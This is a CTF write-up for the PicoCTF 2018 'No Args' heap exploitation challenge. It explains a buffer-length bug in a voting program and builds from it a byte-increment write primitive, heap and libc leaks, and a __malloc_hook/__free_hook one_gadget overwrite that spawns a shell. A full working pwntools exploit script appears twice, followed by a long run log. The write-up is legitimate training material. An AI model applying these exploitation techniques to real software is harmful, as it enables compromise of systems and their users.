PicoCTF 2018 - No Args

Note: This article is part of our PicoCTF 2018 BinExp Guide.

Congratulations, you’ve made it: the final PicoCTF 2018 Binary Exploit Challenge! Unfortunately, the bad news is that the challenge server for this problem has been broken for quite some time. You’re able to download the binaries and solve the challenge, but you won’t be able to connect to the server and capture the flag.

Spot the Bug

First up, let’s look at some of the data structures:

#define LINE 32
#define BUF_LEN 48
/// ...
struct linked_list_node
{
  char *problem_name;
  struct linked_list_node *next_ptr;
  uint32_t num_votes;
};

typedef struct linked_list_node problem_t;
problem_t *list;

struct ballot_t
{
  char buf[LINE];
  problem_t *curr_problem;
  char votes;
};

uint32_t count = 0;
uint32_t state = 0;

There is a global variable named list, that points to problem_t structures (aka struct linked_list_nodes). Because it’s a global variable, it’ll end up in the .bss segment and be initialized to all zeros (NULL). The list variable, as the name suggests, forms a singly-linked list of structures, each containing a name, a 32-bit vote count, and a pointer to the next item in the list.

The problematic code is a special case hidden inside choose_problem (as hinted by the name of the challenge):

printf("Which Problem do you want to vote for?\n> ");
get_line(ballot.buf, LINE);
if (!strcasecmp(ballot.buf, "choose"))
{
    ballot.curr_problem = find_problem("no-args");
    if (ballot.curr_problem)
    {
        printf("You can't choose choose because that was last year's master pwn, NO arguments! Would you like to vote for this year's instead?\n> ");
        get_line(ballot.buf, BUF_LEN); // USES BUF_LEN INSTEAD OF LINE!
        if (!strcasecmp(ballot.buf, "yes") || !strcasecmp(ballot.buf, "y"))
        {
            ballot.curr_problem->num_votes += ballot.votes;
        }
    }
}
else
{
    ballot.curr_problem = find_problem(ballot.buf);
    if (ballot.curr_problem)
    {
        ballot.curr_problem->num_votes += ballot.votes;
    }
    else
    {
        printf("Suuuuure, that makes sense. Your favorite problem from picoCTF 2018 was '%s', but it didn't even get a nomination...\n", ballot.buf);
    }
}

What happens here? Well, when voting (after nominations have ended), if you attempt to vote for the problem “choose”, it will instead search for the problem “no-args”, and if it finds it in the list, will allow you to vote for that one instead. However, the call to get_line re-uses the ballot’s buffer, but gets the length of the buffer incorrect. Instead of the actual length (LINE = 32), it uses a different length (BUF_LEN = 48). This allows you to theoretically overflow ballot.buf[], overwriting both ballot.curr_problem and ballot.votes. What happens after get_line()? Well, if ballot.buf starts with the null-terminated string “yes” or “y”, then the 32-bit value at ballot.curr_problem->num_votes is incremented by the sign-extended value of ballot.votes (in this case it’s a char, which is an 8-bit signed value).

That’s it. That’s the bug. It’s not much, but it’s the start of an arbitrary memory write. However, you can only “increment” memory, and only addresses you already know, and only by values that would fit inside a char. It doesn’t directly let us leak the heap offset, or libc.

Strategy

First up, when you start this problem, you don’t even know the offset of the heap. However, PIE is NOT enabled, so you do know the addresses of all writeable memory inside the executable’s memory space (including the .bss and .data segments).

You also have part of a memory-write primitive. However, you can only use it to write to memory with a known address - if the address you use isn’t writable or isn’t part of the program’s memory space, the program will segfault. Also, a key part of this primitive is that a challenge named no-args must be present in the linked list, and you must be in the voting stage. Therefore, in order to maintain access to this write primitive, you must ensure that a challenge with the name no-args is always present when iterating through list.

Another thing of note: at no point in the program is the function free() called. There are no use-after free bugs, because heap memory is never freed. This makes it demonstratively different from previous challenges. You won’t be able to free a chunk and leak the chunk-header offset of the unsorted bin, because you won’t be able to free a chunk at all.

However, all is not lost. After leaking the heap offset, you can use the memory write bug above to modify a pointer on the heap to point somewhere that will reveal a libc address. Once you have libc, you can use the memory write bug to overwrite a function pointer to contain a gadget - after that you should have access to a shell.

NOTE: Full-RELRO is enabled for this challenge, so overwriting function pointers in the .got.plt section is not an option.

Background Info

First off, consider the write primitive: If you know the target address already contains zeroed data, then it can already be used as a complete memory-write primitive - just write to memory by incrementing a zero byte to the desired byte. Do this one byte at a time, starting at the lowest memory address and progressing to the highest. Since the char value will be sign-extended, take care to only increment by values less than or equal to 0x7f, the largest positive unsigned 8-bit value. If a larger byte value is required, break it into two (or more) increments for the same address, both individually less than or equal to 0x7f.

For target addresses that are not initially zero, you can trivially increment any 32-bit value by increments from -128 (0x80) to +127 (0x7F). This makes it relatively easy to offset pointers by a small number of bytes, just align the increment to the address of the least-significant byte of the pointer, and increment by your desired amount. The code will only modify the lower 32-bits of the 64-bit pointer, but for the pointers in this program, that won’t be a problem.

Also, make sure you understand the write primitive: ballot.curr_problem->num_votes += ballot.votes. You control curr_problem, but the write actually occurs at the address of num_votes. What is the relationship? Well, num_votes is offset 16 bytes into the problem_t structure pointed to by curr_problem. Therefore, if you want to modify the 32 bytes at address <x>, you should set curr_problem to be the address of <x>-16.

Next up, you need a heap-leak. Now, this should be easy but comes with a critical caveat: to maintain your memory-write primitive, the linked-list MUST always contain an entry with the name no-args. The only variable that you know the address of that has anything to do with the heap is list. However, if you modify it in an attempt to leak a heap address, you have to ensure that it will still contain an entry containing no-args, otherwise you will be stuck in the voting stage and unable to utilize the above primitive.

As hinted in the strategy section, you do have an area of memory that you know is zero and that you know the address of: the .bss segment. When the program is loaded into memory, a full page of memory will be mapped to contain this segment, even though it will only use the first 0x30 bytes. The entire page is initialized to zero by the operating system, and the page itself is writeable. Since PIE is not enabled, the address for variables in this segment is known:

$ objdump -x ./no-args | grep .bss | sort
0000000000602010 g       .bss   0000000000000000              __bss_start
0000000000602010 g     O .bss   0000000000000008              stdout@@GLIBC_2.2.5
0000000000602010 l    d  .bss   0000000000000000              .bss
0000000000602018 l     O .bss   0000000000000001              completed.7594
000000000060201c g     O .bss   0000000000000004              count
0000000000602020 g     O .bss   0000000000000004              state
0000000000602028 g     O .bss   0000000000000008              list
0000000000602030 g       .bss   0000000000000000              _end
 23 .bss          00000020  0000000000602010  0000000000602010  00002010  2**3

For most x64 linux systems, a page size is 4096 (0x1000) bytes. That means ALL the memory in the range [0x602000, 0x603000) is writeable AND initialized to zero (However, the memory in the range [0x602010, 0x60202F] is used for variables).

You may not yet know the addresses of values on the heap, but if you write to this segment, you will easily be able to reference it. Maybe a useful string like “no-args” would be a good thing to write into unused memory starting at 0x602030?

Finally, if you need to increment a pointer on the heap that you don’t know the address of, how would you do it?

Well, in the voting stage, you do have another primitive that increments values: a vote! Using this function will search the list for the first problem_t with a matching name, and then increment it’s 32-bit num_votes value by 1. Remember the structure for problem_t (aka linked_list_node)?

struct linked_list_node
{
  char *problem_name;
  struct linked_list_node *next_ptr;
  uint32_t num_votes;
};

So, in memory, you have 2 pointers (64-bits each) followed by a 32-bit value. If the first pointer (8 bytes) points to a matching name, then the next 8 bytes (next_ptr) are ignored, and the 4 bytes after that are incremented by 1.

What happens during the nomination phase? What allocations occur on the heap?

problem_t *add_problem(const char *name)
{
  problem_t *character_struct = malloc(0x18);
  if (character_struct == NULL)
  {
    puts("malloc() returned NULL. Out of Memory\n");
    exit(-1);
  }
  character_struct->problem_name = strdup(name);
  character_struct->num_votes = rand() % 10;
  character_struct->next_ptr = list;
  list = character_struct;
  return character_struct;
}

As you can see 0x18 bytes are allocated (occupying one 0x20 size chunk), followed by the internal allocation of strdup(). For names (including a terminating NULL byte) shorter than 25 bytes, that allocation will also occupy a 0x20 size chunk). Those two allocations are consecutive in memory, and always originate from the wilderness (because memory is never freed). Also observe that problems are always added to the front of list. IE: list points to the newest problem, and that problem points to the second newest, and so on.

Consider the memory layout after nominating two problems (“A” and “B”):

Address           <8 bytes> <8 bytes>
&problem_A char* name = &name_A problem_t* next_ptr = ???
  int num_votes;
int padding;
0x21 [chunk-header]
&name_A "A\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0"
  "\0\0\0\0\0\0\0\0" 0x21 [chunk-header]
&problem_B char* name = &name_B problem_t* next_ptr = &problem_A
  int num_votes;
int padding;
0x21 [chunk-header]
&name_B "B\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0"
  "\0\0\0\0\0\0\0\0"

As you can see, names are interleaved between problem_ts. The last 8 bytes of the name are adjacent to the chunk-header, which is followed by the pointer to the name of the next problem in memory.

What if list was modified so that it was no-longer was aligned to linked_list_node nodes? What if it pointed to memory that straddled two chunks, such that the 8 bytes reserved for the next_ptr was exactly aligned with the chunk-header, and therefore problem_name was the last 8 bytes of the first chunk, and num_votes was the first 4 bytes of user-data for the second chunk? What if the first chunk was actually a name chunk, and therefore the second chunk was a problem_t chunk? What effect would voting for a problem have, and would it help you leak a heap address?

Following the same train of thought, once you knew the offset of the heap, what pointers could you modify to reveal an address inside libc?

If you think you know, then you should now be prepared to tackle the challenge. Since the challenge server is broken, you’ll have to download and test against the binary. Good luck!

Exploitation

In the scenario described above, the list pointer has been modified to point at the last 8 bytes of a name chunk, and the problem_t structure actually straddles two chunks in memory. The next_ptr of that struct is invalid and actually contains the chunk-header. Assuming the problem_name pointed at valid memory contain a string, num_votes would be the first 4 bytes of an 8 byte pointer. You could then increment the least significant part of that pointer 1 value at a time by casting your vote for the problem name. If you cast 32 votes (assuming the name chunk was 0x20), then that name pointer would no longer point inside a name chunk, but it would point at the start of the next chunk in memory. That chunk would be a problem_t struct, and since that structure starts with a pointer into heap memory, printing the name would reveal a heap address. This is the heap-leak.

Once you knew the heap-offset, you could then modify any pointer on the heap. There is a global variable stdout at the address 0x602010. If you change one of the problem names to point at 0x602010, and print out a list of nominated problems, then the 8 byte value of stdout will be revealed. Since stdout is a pointer into libc, this is a libc leak.

After leaking libc, you’ll be able to write into function pointers like __malloc_hook or __free_hook since you’ll know their location in memory.

First up, we need a name that is 24 bytes or less (including the NULL terminator), and the last 8 bytes are actually an address of a valid name. This name will be fed into strdup(), so any NULL bytes must occur at the end of the string. We already know that 0x602030 is an address that we can write-to using our memory-write primitive, and when written in little-endian form contains only NULL bytes at the end, which means it’ll pass cleanly through strdup(). Let’s nominate a problem with a specially crafted name:

#!/bin/env python3
from pwn import *

aout = ELF("no-args")

p = process("./no-args")

def echo(str):
    print(str)
    p.sendline(str)
    _ = "".join(map(chr, p.recvline(timeout=2))).rstrip()
    print(_)
    return _

def wait_prompt():
    print("".join(map(chr, p.recvuntil("> "))).rstrip())

def nominate(name):
    wait_prompt()
    echo("1")
    wait_prompt()
    echo(name)

# Everything after "list" is writable and EMPTY. We have a blank canvas.
emptyblock = aout.symbols["list"] + 8 # 0x602030
nominate(b'\xff'*16 + p64(emptyblock)) #nominates "\xFF\xFF...\x30\x20\x60\x00"

Next up, we need a dummy problem_t which will have it’s name pointer modified to point at a heap address. Nominate a dummy problem:

nominate("dummy")

As a final nomination, you need a another allocation after “dummy”. As outlined above, you’ll be modifying the name pointer of dummy’s problem_t to point to the user-data of the next chunk in memory. By allocating a new problem_t, the first part of this user-data will be a pointer to a string on the heap. As such, printing the name of the “dummy” problem (which will no longer be named dummy) will reveal the heap address. Since list will be searched for “no-args” every time you use the memory write primitive, and since there are no restrictions on duplicates, Nominate “no-args” again. This will cause “no-args” to appear in the list twice, however being at the front of the list is advantageous, as find_problem() won’t have to traverse very far, giving you some flexibility for the rest of the list items.

nominate("no-args")

Ok, now that nominations are complete, let’s head into voting stage where you’ll be able to use the memory-write primitive. Utilize the buffer-overflow to write “no-args” into the address 0x602030 (one byte at a time)

def add(addr, value):
    wait_prompt()
    value = value if value>=0 else value+256 # p8() requires bit-equivalent positive value

    echo("2")
    echo("n")
    echo("choose")
    echo(b'yes\0' + b' '*(32-4) + p64(addr - 0x10) + p8(value))

add(emptyblock + 0, ord('n')) # writes to 0x602030
add(emptyblock + 1, ord('o')) # writes to 0x602031
add(emptyblock + 2, ord('-')) # ...
add(emptyblock + 3, ord('a'))
add(emptyblock + 4, ord('r'))
add(emptyblock + 5, ord('g'))
add(emptyblock + 6, ord('s'))

We can now change list to straddle two chunks and keep a problem named “no-args” in the list:

# change `list` from pointing at `problem_dummy` to last 8 bytes of the "special name"
add(aout.symbols["list"], -0x10 - 0x20 - 0x20) # go back 2.5 0x20 chunks
# list should point at memory block that starts with pointer to 0x602030
# since 0x602030 now contains "no-args" - no-args will be the first item in the list

Now vote for “no-args” 32 times:

def vote(name):
    wait_prompt()

    echo("2")
    echo("n")
    wait_prompt()
    echo(name)

# vote for no-args 32 times
for x in range(32):
    vote("no-args")

Increment list so that the problem formally known as “dummy” is at the top of the list:

add(aout.symbols["list"], 0x10) # reset back to "dummy"
# The name now points to a pointer to a heap addr.

Now, execute the heap-leak by viewing the complete list of nominations. The name of the first item will be and address on the heap.

def leak_top():
    wait_prompt()
    echo("2")
    echo("y")
    _ = p.recvuntil("0  - ")
    bytes = "".join(map(chr, p.recvline(keepends=False)))
    print("".join(map(chr,_)) + bytes)

    wait_prompt()
    echo("")
    return u64(bytes.ljust(8, '\0'))

heap_addr = leak_top()
heap_base = heap_addr - 0x2b0
print("LEAKED HEAP ADDR: 0x%08X" % heap_addr)
print("HEAP BASE ADDR: 0x%08X" % heap_base)

Since the heap allocations are deterministic, it’s trivial to verify that the leaked address will be offset 0x2b0 bytes from the start of the heap.

Modify list so that “no-args” is again the first item. Modify “dummy”’s name ptr to be address of stdout. Then Modify list again so that “dummy” is the first item, and leak the top name (which will be the address of _IO_2_1_stdout_ inside libc).

#assumes we are starting with nulls
def write64(addr, value):
    bytes = p64(value)
    for i in range(8):
        b = bytes[i]
        if b:
            while (b > 0x7f):
                add(addr, 0x7f)
                b -= 0x7f
            add(addr, b)
        addr += 1

def add32(addr, value):
    sign = -1 if value < 0 else 1
    value = abs(value)
    bytes = p32(value)
    for i in range(4):
        b = bytes[i]
        if b:
            while (b > 0x7f):
                add(addr, sign*0x7f)
                b -= 0x7f
            add(addr, sign*b)
        addr += 1

add(aout.symbols["list"], 0x40) # restore "no-args" to be the first item

# leaked pointer is heap offset 0x2B0, which is the value of `name*` for the
# `problem_t` at offset 0x290.
# Offset 0x290 is the user-data for the next `problem_t` after "dummy"
# The problem_t for "dummy" is at 0x250 (it's original namestring string "dummy" is at 0x2B0)
# The current value of `name*` for "dummy" is heap offset 0x290.

add32(heap_base + 0x250,  -(heap_base + 0x290)) # subtract out current value (result=0)

write64(heap_base + 0x250, aout.symbols["stdout"])

# reset list to "dummy", who's name now points a value containing a libc addr.
add(aout.symbols["list"], -0x40) 

lib = ELF("libc.so.6")

libc_addr = leak_top()
libc_base = libc_addr - lib.symbols["_IO_2_1_stdout_"]
print("LEAKED LIBC ADDR: 0x%08X" % libc_addr)
print("LIBC BASE ADDR: 0x%08X" % libc_base)

Finally, you need a gadget and to overwrite a function pointer with the location of the gadget. one_gadget will give you several gadgets to choose from, however, none of the conditions will be met at the callsite for __malloc_hook (you can’t use __free_hook because the program doesn’t call free()).

There’s probably a couple ways around this problem. One that works is to set __malloc_hook to be a gadget that calls free(). Then overwrite __free_hook with the one_gadget at offset 0x4526a.

What’s a gadget that calls free()?

$ objdump -M intel -S libc.so.6 | grep "free@plt" | grep call | head
   1fb5a:       e8 49 fd ff ff          call   1f8a8 <free@plt>
   1fb68:       e8 3b fd ff ff          call   1f8a8 <free@plt>
   1fb6f:       e8 34 fd ff ff          call   1f8a8 <free@plt>
   1fbdb:       e8 c8 fc ff ff          call   1f8a8 <free@plt>
   1fbe9:       e8 ba fc ff ff          call   1f8a8 <free@plt>
   1fe0d:       e8 6c fd ff ff          call   1fb7e <free@plt+0x2d6>
   1fe22:       e8 81 fa ff ff          call   1f8a8 <free@plt>
   201a0:       e8 03 f7 ff ff          call   1f8a8 <free@plt>
   201b3:       e8 f0 f6 ff ff          call   1f8a8 <free@plt>
   201c1:       e8 e2 f6 ff ff          call   1f8a8 <free@plt>

Offset 0x1fb5a will call free(), which in turn will call __free_hook, which in turn points to a one_gadget that launches a shell. For this challenge, this setup is sufficient to satisfy the conditions for the one_gadget.

gadget = libc_base + 0x4526a
print("GADGET ADDR (req rsp+0x30 == null): 0x%08X" % gadget)

write64(libc_base + lib.symbols["__free_hook"], gadget)
write64(libc_base + lib.symbols["__malloc_hook"], libc_base + 0x1fb5a)

print("WROTE FREE GADGET ADDR: 0x%08X" % gadget)
print("WROTE MALLOC GADGET ADDR: 0x%08X (calls free)" % (libc_base + 0x1fb5a))

Finally, reset the state back to the nomination stage and nominate a new problem to trigger the __malloc_hook and launch a shell.

add(aout.symbols["state"], -1) # reset back to nomination

nominate("pwn")

p.interactive()

Putting it all together:

Code:

#!/bin/env python3
from pwn import *

aout = ELF("no-args")

p = process("./no-args")

def echo(str):
    print(str)
    p.sendline(str)
    _ = "".join(map(chr, p.recvline(timeout=2))).rstrip()
    print(_)
    return _

def wait_prompt():
    print("".join(map(chr, p.recvuntil("> "))).rstrip())

def nominate(name):
    wait_prompt()
    echo("1")
    wait_prompt()
    echo(name)

# Everything after "list" is writable and EMPTY. We have a blank canvas.
emptyblock = aout.symbols["list"] + 8 # 0x602030
nominate(b'\xff'*16 + p64(emptyblock)) #nominates "\xFF\xFF...\x30\x20\x60\x00"

nominate("dummy")

nominate("no-args")

def add(addr, value):
    wait_prompt()
    value = value if value>=0 else value+256 # p8() requires bit-equivalent positive value

    echo("2")
    echo("n")
    echo("choose")
    echo(b'yes\0' + b' '*(32-4) + p64(addr - 0x10) + p8(value))

add(emptyblock + 0, ord('n')) # writes to 0x602030
add(emptyblock + 1, ord('o')) # writes to 0x602031
add(emptyblock + 2, ord('-')) # ...
add(emptyblock + 3, ord('a'))
add(emptyblock + 4, ord('r'))
add(emptyblock + 5, ord('g'))
add(emptyblock + 6, ord('s'))

# change `list` from pointing at `problem_dummy` to last 8 bytes of the "special name"
add(aout.symbols["list"], -0x10 - 0x20 - 0x20) # go back 2.5 0x20 chunks
# list should point at memory block that starts with pointer to 0x602030
# since 0x602030 now contains "no-args" - no-args will be the first item in the list

def vote(name):
    wait_prompt()

    echo("2")
    echo("n")
    wait_prompt()
    echo(name)

# vote for no-args 32 times
for x in range(32):
    vote("no-args")

add(aout.symbols["list"], 0x10) # reset back to "dummy"
# The name now points to a pointer to a heap addr.

def leak_top():
    wait_prompt()
    echo("2")
    echo("y")
    _ = p.recvuntil("0  - ")
    bytes = "".join(map(chr, p.recvline(keepends=False)))
    print("".join(map(chr,_)) + bytes)

    wait_prompt()
    echo("")
    return u64(bytes.ljust(8, '\0'))

heap_addr = leak_top()
heap_base = heap_addr - 0x2b0
print("LEAKED HEAP ADDR: 0x%08X" % heap_addr)
print("HEAP BASE ADDR: 0x%08X" % heap_base)

#assumes we are starting with nulls
def write64(addr, value):
    bytes = p64(value)
    for i in range(8):
        b = bytes[i]
        if b:
            while (b > 0x7f):
                add(addr, 0x7f)
                b -= 0x7f
            add(addr, b)
        addr += 1

def add32(addr, value):
    sign = -1 if value < 0 else 1
    value = abs(value)
    bytes = p32(value)
    for i in range(4):
        b = bytes[i]
        if b:
            while (b > 0x7f):
                add(addr, sign*0x7f)
                b -= 0x7f
            add(addr, sign*b)
        addr += 1

add(aout.symbols["list"], 0x40) # restore "no-args" to be the first item

# leaked pointer is heap offset 0x2B0, which is the value of `name*` for the
# `problem_t` at offset 0x290.
# Offset 0x290 is the user-data for the next `problem_t` after "dummy"
# The problem_t for "dummy" is at 0x250 (it's original namestring string "dummy" is at 0x2B0)
# The current value of `name*` for "dummy" is heap offset 0x290.

add32(heap_base + 0x250,  -(heap_base + 0x290)) # subtract out current value (result=0)

write64(heap_base + 0x250, aout.symbols["stdout"])

# reset list to "dummy", who's name now points a value containing a libc addr.
add(aout.symbols["list"], -0x40) 

lib = ELF("libc.so.6")

libc_addr = leak_top()
libc_base = libc_addr - lib.symbols["_IO_2_1_stdout_"]
print("LEAKED LIBC ADDR: 0x%08X" % libc_addr)
print("LIBC BASE ADDR: 0x%08X" % libc_base)

gadget = libc_base + 0x4526a
print("GADGET ADDR (req rsp+0x30 == null): 0x%08X" % gadget)

write64(libc_base + lib.symbols["__free_hook"], gadget)
write64(libc_base + lib.symbols["__malloc_hook"], libc_base + 0x1fb5a)

print("WROTE FREE GADGET ADDR: 0x%08X" % gadget)
print("WROTE MALLOC GADGET ADDR: 0x%08X (calls free)" % (libc_base + 0x1fb5a))

add(aout.symbols["state"], -1) # reset back to nomination

nominate("pwn")

p.interactive()

Output:

$ python3 noargs_pwn.py
[*] './no-args'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    RPATH:    b'./'
[+] Starting local process './no-args': pid 10571
Vote for your Favorite Problems from picoCTF 2018!
1. Choose a Problem
2. Vote for a Problem
3. View Results
4. Exit
>
1

Enter the Name of the Problem you want to Vote for
>
b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff0 `\x00\x00\x00\x00\x00'
Vote for your Favorite Problems from picoCTF 2018!
1. Choose a Problem
2. Vote for a Problem
3. View Results
4. Exit
>
1

Enter the Name of the Problem you want to Vote for
>
dummy
Vote for your Favorite Problems from picoCTF 2018!
1. Choose a Problem
2. Vote for a Problem
3. View Results
4. Exit
>
1

Enter the Name of the Problem you want to Vote for
>
no-args
Vote for your Favorite Problems from picoCTF 2018!
1. Choose a Problem
2. Vote for a Problem
3. View Results
4. Exit
>
2

n
List Problems? (y/n) Which Problem do you want to vote for?
choose
> You can't choose choose because that was last year's master pwn, NO arguments! Would you like to vote for this year's instead?
b'yes\x00                              `\x00\x00\x00\x00\x00n'
> Vote for your Favorite Problems from picoCTF 2018!
1. Choose a Problem
2. Vote for a Problem
3. View Results
4. Exit
>
2

n
List Problems? (y/n) Which Problem do you want to vote for?
choose
> You can't choose choose because that was last year's master pwn, NO arguments! Would you like to vote for this year's instead?
b'yes\x00                            ! `\x00\x00\x00\x00\x00o'
> Vote for your Favorite Problems from picoCTF 2018!
1. Choose a Problem
2. Vote for a Problem
3. View Results
4. Exit
>
2

n
List Problems? (y/n) Which Problem do you want to vote for?
choose
> You can't choose choose because that was last year's master pwn, NO arguments! Would you like to vote for this year's instead?
b'yes\x00                            " `\x00\x00\x00\x00\x00-'
> Vote for your Favorite Problems from picoCTF 2018!
1. Choose a Problem
2. Vote for a Problem
3. View Results
4. Exit
>
2

n
List Problems? (y/n) Which Problem do you want to vote for?
choose
> You can't choose choose because that was last year's master pwn, NO arguments! Would you like to vote for this year's instead?
b'yes\x00                            # `\x00\x00\x00\x00\x00a'
> Vote for your Favorite Problems from picoCTF 2018!
1. Choose a Problem
2. Vote for a Problem
3. View Results
4. Exit
>
2

n
List Problems? (y/n) Which Problem do you want to vote for?
choose
> You can't choose choose because that was last year's master pwn, NO arguments! Would you like to vote for this year's instead?
b'yes\x00                            $ `\x00\x00\x00\x00\x00r'
> Vote for your Favorite Problems from picoCTF 2018!
1. Choose a Problem
2. Vote for a Problem
3. View Results
4. Exit
>
2

n
List Problems? (y/n) Which Problem do you want to vote for?
choose
> You can't choose choose because that was last year's master pwn, NO arguments! Would you like to vote for this year's instead?
b'yes\x00                            % `\x00\x00\x00\x00\x00g'
> Vote for your Favorite Problems from picoCTF 2018!
1. Choose a Problem
2. Vote for a Problem
3. View Results
4. Exit
>
2

n
List Problems? (y/n) Which Problem do you want to vote for?
choose
> You can't choose choose because that was last year's master pwn, NO arguments! Would you like to vote for this year's instead?
b'yes\x00                            & `\x00\x00\x00\x00\x00s'
> Vote for your Favorite Problems from picoCTF 2018!
1. Choose a Problem
2. Vote for a Problem
3. View Results
4. Exit
>
2

n
List Problems? (y/n) Which Problem do you want to vote for?
choose
> You can't choose choose because that was last year's master pwn, NO arguments! Would you like to vote for this year's instead?
b'yes\x00                            \x18 `\x00\x00\x00\x00\x00\xb0'
> Vote for your Favorite Problems from picoCTF 2018!
1. Choose a Problem
2. Vote for a Problem
3. View Results
4. Exit
>
2

n
List Problems? (y/n) Which Problem do you want to vote for?
>
no-args
Vote for your Favorite Problems from picoCTF 2018!
1. Choose a Problem
2. Vote for a Problem
3. View Results
4. Exit
>
2

n
List Problems? (y/n) Which Problem do you want to vote for?
>
no-args
Vote for your Favorite Problems from picoCTF 2018!
1. Choose a Problem
2. Vote for a Problem
3. View Results
4. Exit
>
2

n
List Problems? (y/n) Which Problem do you want to vote for?
>
no-args
Vote for your Favorite Problems from picoCTF 2018!
1. Choose a Problem
2. Vote for a Problem
3. View Results
4. Exit
>
2

n
List Problems? (y/n) Which Problem do you want to vote for?
>
no-args
Vote for your Favorite Problems from picoCTF 2018!
1. Choose a Problem
2. Vote for a Problem
3. View Results
4. Exit
>
2

n
List Problems? (y/n) Which Problem do you want to vote for?
>
no-args
Vote for your Favorite Problems from picoCTF 2018!
1. Choose a Problem
2. Vote for a Problem
3. View Results
4. Exit
>
2

n
List Problems? (y/n) Which Problem do you want to vote for?
>
no-args
Vote for your Favorite Problems from picoCTF 2018!
1. Choose a Problem
2. Vote for a Problem
3. View Results
4. Exit
>
2

n
List Problems? (y/n) Which Problem do you want to vote for?
>
no-args
Vote for your Favorite Problems from picoCTF 2018!
1. Choose a Problem
2. Vote for a Problem
3. View Results
4. Exit
>
2

n
List Problems? (y/n) Which Problem do you want to vote for?
>
no-args
Vote for your Favorite Problems from picoCTF 2018!
1. Choose a Problem
2. Vote for a Problem
3. View Results
4. Exit
>
2

n
List Problems? (y/n) Which Problem do you want to vote for?
>
no-args
Vote for your Favorite Problems from picoCTF 2018!
1. Choose a Problem
2. Vote for a Problem
3. View Results
4. Exit
>
2

n
List Problems? (y/n) Which Problem do you want to vote for?
>
no-args
Vote for your Favorite Problems from picoCTF 2018!
1. Choose a Problem
2. Vote for a Problem
3. View Results
4. Exit
>
2

n
List Problems? (y/n) Which Problem do you want to vote for?
>
no-args
Vote for your Favorite Problems from picoCTF 2018!
1. Choose a Problem
2. Vote for a Problem
3. View Results
4. Exit
>
2

n
List Problems? (y/n) Which Problem do you want to vote for?
>
no-args
Vote for your Favorite Problems from picoCTF 2018!
1. Choose a Problem
2. Vote for a Problem
3. View Results
4. Exit
>
2

n
List Problems? (y/n) Which Problem do you want to vote for?
>
no-args
Vote for your Favorite Problems from picoCTF 2018!
1. Choose a Problem
2. Vote for a Problem
3. View Results
4. Exit
>
2

n
List Problems? (y/n) Which Problem do you want to vote for?
>
no-args
Vote for your Favorite Problems from picoCTF 2018!
1. Choose a Problem
2. Vote for a Problem
3. View Results
4. Exit
>
2

n
List Problems? (y/n) Which Problem do you want to vote for?
>
no-args
Vote for your Favorite Problems from picoCTF 2018!
1. Choose a Problem
2. Vote for a Problem
3. View Results
4. Exit
>
2

n
List Problems? (y/n) Which Problem do you want to vote for?
>
no-args
Vote for your Favorite Problems from picoCTF 2018!
1. Choose a Problem
2. Vote for a Problem
3. View Results
4. Exit
>
2

n
List Problems? (y/n) Which Problem do you want to vote for?
>
no-args
Vote for your Favorite Problems from picoCTF 2018!
1. Choose a Problem
2. Vote for a Problem
3. View Results
4. Exit
>
2

n
List Problems? (y/n) Which Problem do you want to vote for?
>
no-args
Vote for your Favorite Problems from picoCTF 2018!
1. Choose a Problem
2. Vote for a Problem
3. View Results
4. Exit
>
2

n
List Problems? (y/n) Which Problem do you want to vote for?
>
no-args
Vote for your Favorite Problems from picoCTF 2018!
1. Choose a Problem
2. Vote for a Problem
3. View Results
4. Exit
>
2

n
List Problems? (y/n) Which Problem do you want to vote for?
>
no-args
Vote for your Favorite Problems from picoCTF 2018!
1. Choose a Problem
2. Vote for a Problem
3. View Results
4. Exit
>
2

n
List Problems? (y/n) Which Problem do you want to vote for?
>
no-args
Vote for your Favorite Problems from picoCTF 2018!
1. Choose a Problem
2. Vote for a Problem
3. View Results
4. Exit
>
2

n
List Problems? (y/n) Which Problem do you want to vote for?
>
no-args
Vote for your Favorite Problems from picoCTF 2018!
1. Choose a Problem
2. Vote for a Problem
3. View Results
4. Exit
>
2

n
List Problems? (y/n) Which Problem do you want to vote for?
>
no-args
Vote for your Favorite Problems from picoCTF 2018!
1. Choose a Problem
2. Vote for a Problem
3. View Results
4. Exit
>
2

n
List Problems? (y/n) Which Problem do you want to vote for?
>
no-args
Vote for your Favorite Problems from picoCTF 2018!
1. Choose a Problem
2. Vote for a Problem
3. View Results
4. Exit
>
2

n
List Problems? (y/n) Which Problem do you want to vote for?
>
no-args
Vote for your Favorite Problems from picoCTF 2018!
1. Choose a Problem
2. Vote for a Problem
3. View Results
4. Exit
>
2

n
List Problems? (y/n) Which Problem do you want to vote for?
>
no-args
Vote for your Favorite Problems from picoCTF 2018!
1. Choose a Problem
2. Vote for a Problem
3. View Results
4. Exit
>
2

n
List Problems? (y/n) Which Problem do you want to vote for?
>
no-args
Vote for your Favorite Problems from picoCTF 2018!
1. Choose a Problem
2. Vote for a Problem
3. View Results
4. Exit
>
2

n
List Problems? (y/n) Which Problem do you want to vote for?
>
no-args
Vote for your Favorite Problems from picoCTF 2018!
1. Choose a Problem
2. Vote for a Problem
3. View Results
4. Exit
>
2

n
List Problems? (y/n) Which Problem do you want to vote for?
>
no-args
Vote for your Favorite Problems from picoCTF 2018!
1. Choose a Problem
2. Vote for a Problem
3. View Results
4. Exit
>
2

n
List Problems? (y/n) Which Problem do you want to vote for?
>
no-args
Vote for your Favorite Problems from picoCTF 2018!
1. Choose a Problem
2. Vote for a Problem
3. View Results
4. Exit
>
2

n
List Problems? (y/n) Which Problem do you want to vote for?
>
no-args
Vote for your Favorite Problems from picoCTF 2018!
1. Choose a Problem
2. Vote for a Problem
3. View Results
4. Exit
>
2

n
List Problems? (y/n) Which Problem do you want to vote for?
>
no-args
Vote for your Favorite Problems from picoCTF 2018!
1. Choose a Problem
2. Vote for a Problem
3. View Results
4. Exit
>
2

n
List Problems? (y/n) Which Problem do you want to vote for?
choose
> You can't choose choose because that was last year's master pwn, NO arguments! Would you like to vote for this year's instead?
b'yes\x00                            \x18 `\x00\x00\x00\x00\x00\x10'
> Vote for your Favorite Problems from picoCTF 2018!
1. Choose a Problem
2. Vote for a Problem
3. View Results
4. Exit
>
2

y
List Problems? (y/n) Current Choices
0  - °R×
1  - ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ0 `
2  - no-args
3  - contacts
